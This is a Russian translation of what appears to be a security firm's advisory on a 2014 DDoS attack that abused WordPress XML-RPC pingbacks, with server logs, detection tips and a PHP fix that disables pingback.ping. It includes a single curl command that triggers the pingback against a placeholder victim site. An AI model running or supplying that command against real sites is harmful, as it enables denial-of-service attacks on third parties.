Сегодня я вам хочу рассказать о крупной DDOS-атаке, усиленной с помощью тысяч отдельных сайтов на движке WordPress.
Любой WordPress сайт с включенным Pingback (который, между прочим, включен по умолчанию), может использоваться в DDOS-атаке на другие сайты [В конце статьи ссылка на онлайн-сервис для проверки вашего сайта на участие в уже известных атаках – прим. переводчика].
Заметьте, XMLRPC используется для pingbacks, trackbacks, удаленного доступа с мобильных устройств и для многого другого, от чего вы, скорее всего, не захотели бы отказаться. Но как мы увидим, его можно использовать не только в благих целях.
История
Эта история произошла с популярным WordPress сайтом, который ушел в оффлайн из-за многочасовой DDOS-атаки. Когда атака усилилась,
После того, как DNS были перенесены, мы, наконец, увидели, что происходит: это была мощная распределенная HTTP-flood Layer 7 атака, выполняющая сотни запросов в секунду к их серверу. Так выглядели эти запросы:
74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com"
121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com"
217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr"
193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de"
..
Вы, возможно, заметили, что у всех запросов есть случайный параметр ("?4137049=643182" и др.), благодаря которому запросы обходят кэш и требуют каждый раз полной перезагрузки страницы. Все это очень быстро убивает сервер.
Но самое интересное, что запросы поступают от других ничем ни примечательных WordPress сайтов. Да, другие WordPress сайты посылают множество запросов со случайным параметром и уводят жертву в оффлайн.
Выставленная по умолчанию небезопасная опция = очень большой ботнет
Всего в течение нескольких часов, более 162.000 обыкновенных WordPress сайтов атаковали их проект. Скорее всего, обнаружилось бы и больше сайтов, но мы решили, что увидели достаточно, и заблокировали эти запросы на нашем файрволе, в основном, чтобы избежать засорения логов.
Один атакующий может использовать тысячи популярных не взломанных WordPress сайтов для DDOS атаки, и в то же время оставаться в тени, и всё это возможно благодаря простому Pingback запросу к файлу XML-RPC:
$ curl -D - "www.anywordpresssite.com/xmlrpc.php" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.anywordpresssite.com/postchosen</string></value></param></params></methodCall>'
Да, простая Linux-команда может начать атаку.
Атакует ли ваш сайт кого-нибудь прямо сейчас?
Вполне может быть, и вы не имеете об этом ни малейшего понятия. Чтобы убедиться, просмотрите логи сайта на наличие POST-запроса к файлу XML-RPC (см. выше). Если вы видите Pingback запрос к случайному URL, вы поймете, что ваш сайт уже используется для атаки.
93.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:<?xml version=x221.0x22 encoding=x22iso-8859-1x22?>x0A<methodCall>x0A<methodName>pingback.ping</methodName>x0A<params>x0A <param>x0A <value>x0A <string>http://fastbet99.com/?1698491=8940641</string>x0A </value>x0A </param>x0A <param>x0A <value>x0A <string>yoursite.com</string>x0A </value>x0A </param>x0A</params>x0A</methodCall>x0A"
94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:x0Ax0Apingback.pingx0Ax0A x0A x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899x0A x0A x0A x0A x0A yoursite.comx0A x0A x0Ax0Ax0A"
Например, в этом случае кто-то пытался использовать наш сайт-ловушку для DDOS fastbet99.com и guttercleanerlondon.co.uk.
Чтобы предотвратить использование вашего сайта в атаках, вам нужно отключить функционал XML-RPC Pingback. Лучший способ – это подключение плагина со следующим содержанием:
add_filter( 'xmlrpc_methods', function( $methods ) {
unset( $methods['pingback.ping'] );
return $methods;
} );
Онлайн-сервис для проверки вашего сайта на уязвимость
Поскольку, это очень распространенная проблема, мы написали небольшой сканер, который проверит, участвовал ли ваш сайт в известных нам атаках: WordPress DDOS Scanner
Автор: globik